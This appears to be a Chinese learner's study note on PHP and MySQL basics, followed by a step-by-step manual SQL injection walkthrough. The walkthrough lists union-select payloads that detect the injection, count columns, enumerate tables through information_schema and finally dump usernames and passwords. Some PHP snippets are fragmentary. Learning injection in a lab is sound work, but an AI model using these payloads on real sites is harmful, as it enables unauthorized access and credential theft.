+ +

sql手工注入

简单的sql手工注入即PHP基本知识

PHP语言基础

PHP语言以结尾,在网站根目录下新建名为index.php文件,会被自动认为成主页,在网址输入localhost,即可得到你所运行的PHP文件。

基本语法:

  1. 注释三种方式,#,//,/* */
  2. 定义变量,不需要类型,$a,即定义了一个变量a,其他规则与C语言类似,注意它对大小写敏感
  3. 单引号不能解析变量,双引号可以
  4. PHP语言中键值对,可以通过数字索引数组,也可以通过键访问值

## 网络的三层架构 ## 用户向web服务器发送请求,web服务器运行代码,在数据库服务器中找到所要请求的东西,再返回给web服务器,由web服务器发给用户
URL:平常的网址,类型:协议://授权/路径?查询(授权可以指域名或IP) 例如:https://www.cobranet.org/about.php?id=1 ## GET请求和POST请求 ##
GET和POST是HTTP中定义的客户端可以发送给服务器的两种操作
GET请求:用?分割URL和要查询的数据,例如上述网址,即要查询id=1的信息
$id=$_GET['id'];
if(!is_numeric($id))
{
echo 'You are a hacker!';
}
else {
echo 'Connecting database!';
}
?>
POST请求:通过表单的方式访问,例如网站的登陆页面,输入名字,密码登陆,这种即为POST请求。


PHP连接到一个MySQL服务,通过mysql_connect()函数完成
if($conn)
{
echo "Connecting is OK!";
}
else{
echo "Connecting is not OK!";
}
?>

PHP连接到一个活动的数据库,用mysql_select_db()函数,用法:两个参数,第一个参数为之前安装的网站名字数据库,第二个为选择连接的数据库。


从数据库里选取数据,使用mysql_query(),该函数用于向SQL发送查询命令。

查询过数据需要输出我们才能看到数据库中的数据,输出用mysql_fetch_array()函数,mysql_fetch_array函数从结果中取得一行作为关联数组,或数字数组,或二者兼有。返回根据从结果集取得的行生成的数组,如果没有更多则返回FALSE。用法:两个参数,第一个为经过mysql_query()查询的结果,第二个参数可不写,表示规定返回哪种结果,MYSQL_ASSOS-关联数组;MYSQL_NUM-数字数组;MYSQL_BOTH—两者兼有,默认值。

最后一个完整的sql注入测试页面(即上述的步骤)。

初识mysql

基本知识:一个数据库中可以包含多个表,一个表中的第一列叫做字段,一行的所有信息称做记录


定位到一条数据的步骤:

1、找到数据库
2、找到数据表
3、通过字段找到数据


Mysql:通过mysql的各种命令对数据库进行操作。


mysql的启动:1、phpstudy->其他选项菜单->cmd命令行,打开界面后输入mysql -uroot -p,回车键启动,启动之后可以输入mysql的各种命令 2、Linux系统启动mysql:sevice mysql start.


mysql的各种命令:命令一般以分号结尾,除了删除列命令,alter table users drop column age,表示删除users表中age那一列。


连接操作符,类似于python,and 和 or。
例如:id=1 and 1=1 会输出id=1的所有信息,若是id=1 and 1=2 会输出NULL等等;

开始攻略-注入

一般情况下一个sql注入页面,会有下列语句:



所以我们通过union select来联合查询,Select * from users where id=-1 union select 1,2,union前后字段数必须一样,所以我们需要找到前面表中的字段数。

步骤:1、判断是否存在注入以及注入是字符型还是数字型,①输入1,查询成功 ②输入1’ and ‘1’=’2,若为字符型,放进去即为id=’1’ and’1’=’2’,为永假式 ③输入1’ or ‘1’=’1,为永真式,此时输出多组数据,基本可判断该页面被注入,存在SELECT语句,且为字符型注入

2、猜字段数,通过1’ or 1=1 order by n #(按照第n列排序,若n超出范围,则查询失败,找临界点),另外,#在URL中有特殊的含义,我们需用%23表示

3、确定显示字段顺序,输入1’union select 1,2 #(%23)(#表示注释掉后面的语句)
换数字多试几次,找到坑位

4、找到当前数据库,输入1′ union select 1,database() #,即可找到当前数据库,database()的作用是找到当前数据库

5、获取数据库中的表,输入1′ union select 1,group_concat(table_name) from information_schema.columns where table_schema=database() #,group_concat:将查询结果以一行的形式输出,information_schema.columns包含table_schema字段(表示数据库名),table_name字段(表示数据表名),column_name字段(列名)

6、获取表中的字段,输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #。

7、下载数据,输入1′ or 1=1 union select group_concat(id,first_name,last_name),group_concat(password) from users #。



写下今天关于这个的大概收获:了解了下PHP,对它的语法有了一定的认识;利用mysql对数据库进行一些操作;一个完整的sql注入测试页面;手工注入,步骤基本了解,原理有待深入。